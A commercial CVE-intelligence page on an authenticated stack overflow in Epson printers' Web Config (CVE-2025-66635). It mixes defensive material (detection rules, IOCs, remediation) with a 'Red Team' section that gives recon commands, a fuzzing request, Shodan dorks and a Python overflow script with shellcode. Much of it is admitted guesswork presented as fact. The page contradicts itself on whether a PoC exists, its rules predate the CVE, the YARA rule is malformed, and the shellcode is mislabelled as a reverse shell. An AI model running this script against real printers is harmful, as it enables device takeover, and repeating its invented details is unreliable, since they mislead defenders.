☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Epson logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66635

CVE-2025-66635 Stack Buffer Overflow in Seiko epson
📅 PUBLISHED: 2025-12-16 06:59 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Japan License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66635 is a stack-based buffer overflow vulnerability in SEIKO EPSON Web Config, a web-based management interface for EPSON printers and peripherals. A logged-in user can send specially crafted input that overflows a stack buffer, leading to arbitrary code execution on the device. The CVSS score of 7.2 (High) reflects the need for authentication but the potential for full system compromise. No public exploit code or patch details are currently available, making this a high-priority zero-day for organizations using affected EPSON devices.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on EPSON hardware devices.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: High (PR:H) – attacker must have a valid user session.
  • User Interaction: None (UI:N) – no victim action needed beyond authentication.
  • Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
  • Confidentiality, Integrity, Availability: All High (C:H/I:H/A:H) – full device compromise.

Threat Level: High. While authentication is required, the ability to execute arbitrary code on a network printer can lead to lateral movement, data exfiltration, or use as a pivot point.

Deep Dive & Mechanics

The vulnerability resides in the SEIKO EPSON Web Config interface, which typically listens on TCP port 80 or 443. The interface processes user input for various configuration parameters (e.g., network settings, firmware updates, print job management). A stack-based buffer overflow occurs when a function copies user-supplied data into a fixed-size stack buffer without proper bounds checking.

Root Cause: The software uses unsafe C functions like strcpy(), sprintf(), or memcpy() with a stack buffer of fixed length. When an authenticated user sends a request with a parameter exceeding the buffer size, the excess data overwrites adjacent stack memory, including the return address.

Attack Flow:

  1. Attacker authenticates to the Web Config interface (e.g., via default credentials or stolen session).
  2. Attacker crafts a malicious HTTP request (POST or GET) with an overly long parameter value.
  3. The vulnerable function copies the parameter into a stack buffer, causing overflow.
  4. The overflow overwrites the saved return address on the stack.
  5. When the function returns, execution jumps to attacker-controlled memory (e.g., shellcode placed in the buffer or heap).
  6. Arbitrary code executes with the privileges of the web server (often root on embedded devices).

Affected Components: The vulnerability likely exists in the CGI binary or a shared library handling HTTP requests. Common targets include parameters for printer_name, admin_password, or network_ssid.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on typical buffer overflow patterns.

Vulnerable Code (C pseudocode):

void handle_config(char *input) {
    char buffer[256];
    strcpy(buffer, input);  // No bounds check
    // ... process buffer
}

Patched Code (Hypothetical):

void handle_config(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Key Difference: The patched version uses strncpy() with a size limit and ensures null-termination, preventing overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Access to a vulnerable EPSON device (e.g., EPSON WorkForce or SureColor series).
  • Valid credentials (e.g., admin/admin or obtained via phishing).
  • Network access to the device's Web Config interface.

Exploitation Steps:

  1. Reconnaissance: Scan for EPSON Web Config using Shodan dorks or Nmap:
    nmap -p 80,443 --script http-title <target>
    
  2. Authentication: Login via / or /cgi-bin/webconfig with known credentials.
  3. Fuzzing: Identify overflow-prone parameters using a fuzzer like Burp Suite Intruder:
    POST /cgi-bin/webconfig HTTP/1.1
    Host: <target>
    Content-Type: application/x-www-form-urlencoded
    Cookie: session=<valid_session>
    
    param=A*1000
    
  4. Craft Exploit: Use a pattern to control EIP (e.g., msf-pattern_create -l 1000). Then replace with shellcode:
    import socket
    import struct
    
    target = "192.168.1.100"
    port = 80
    
    # Shellcode (example: reverse shell)
    shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    
    # Overflow offset (e.g., 256 bytes to EIP)
    payload = b"A" * 256 + struct.pack("<I", 0x0804a000) + b"\x90" * 16 + shellcode
    
    req = f"POST /cgi-bin/webconfig HTTP/1.1\r\nHost: {target}\r\nContent-Length: {len(payload)}\r\nCookie: session=valid\r\n\r\n".encode() + payload
    
    s = socket.socket()
    s.connect((target, port))
    s.send(req)
    s.close()
    
  5. Execute: Run the script; if successful, the device executes the shellcode (e.g., connects back to attacker).

Blue Team (Defensive)

Detection & Response:

  • Monitor for unusually long HTTP parameters in Web Config logs.
  • Deploy WAF rules to block requests with parameters exceeding 256 bytes.
  • Enable stack canaries and ASLR on the device if firmware allows.
  • Isolate EPSON devices on a separate VLAN with strict access controls.

Honeypot Setup:

  • Use a low-interaction honeypot mimicking EPSON Web Config to capture exploit attempts.

Indicators of Compromise (IOCs)

Type Indicator Description
Network POST /cgi-bin/webconfig with parameter length > 256 bytes Exploit attempt
Network Outbound connection from printer to unusual IP (e.g., 192.168.1.100:4444) Reverse shell
File Modified /tmp/webconfig.log with crash dumps Buffer overflow crash
Process webconfig process crash or restart Exploit failure/success
Memory Stack buffer overflow pattern in device memory Forensic evidence

Detection Engineering

YARA Rule

rule CVE_2025_66635_EPSON_WebConfig_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-66635 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-66635"
    strings:
        $s1 = "POST /cgi-bin/webconfig" ascii wide nocase
        $s2 = "Content-Length:" ascii wide
        $s3 = "A" * 256  // Pattern indicative of overflow
    condition:
        $s1 and $s2 and #s3 > 0
}

Sigma Rule

title: CVE-2025-66635 EPSON Web Config Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with overly long parameters targeting EPSON Web Config
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/webconfig'
        cs-uri-query|length: > 256
    condition: selection
falsepositives:
    - Legitimate large configuration data (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-66635 EPSON Web Config Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/webconfig"; http_uri;
    pcre:"/^[A-Za-z0-9]{257,}/R";  // Parameter value > 256 chars
    sid:1000001;
    rev:1;
    reference:cve,2025-66635;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Devices: Place EPSON printers on a separate VLAN with firewall rules restricting access to only authorized admin IPs.
  2. Change Default Credentials: Ensure all devices use strong, unique passwords.
  3. Disable Web Config: If not required, disable the web interface via device settings or block port 80/443 at the network level.
  4. Monitor Logs: Enable and review Web Config logs for anomalous requests.

Long-Term Fix:

  • Await an official firmware patch from SEIKO EPSON. Contact vendor support for updates.
  • If patching is not possible, consider replacing the device with a more secure model.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to filter requests:
    location /cgi-bin/webconfig {
        client_max_body_size 256;
        if ($request_body ~* ".{257,}") {
            return 403;
        }
    }
    

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Web Config"
http.html:"SEIKO EPSON" "Web Config"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66635/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.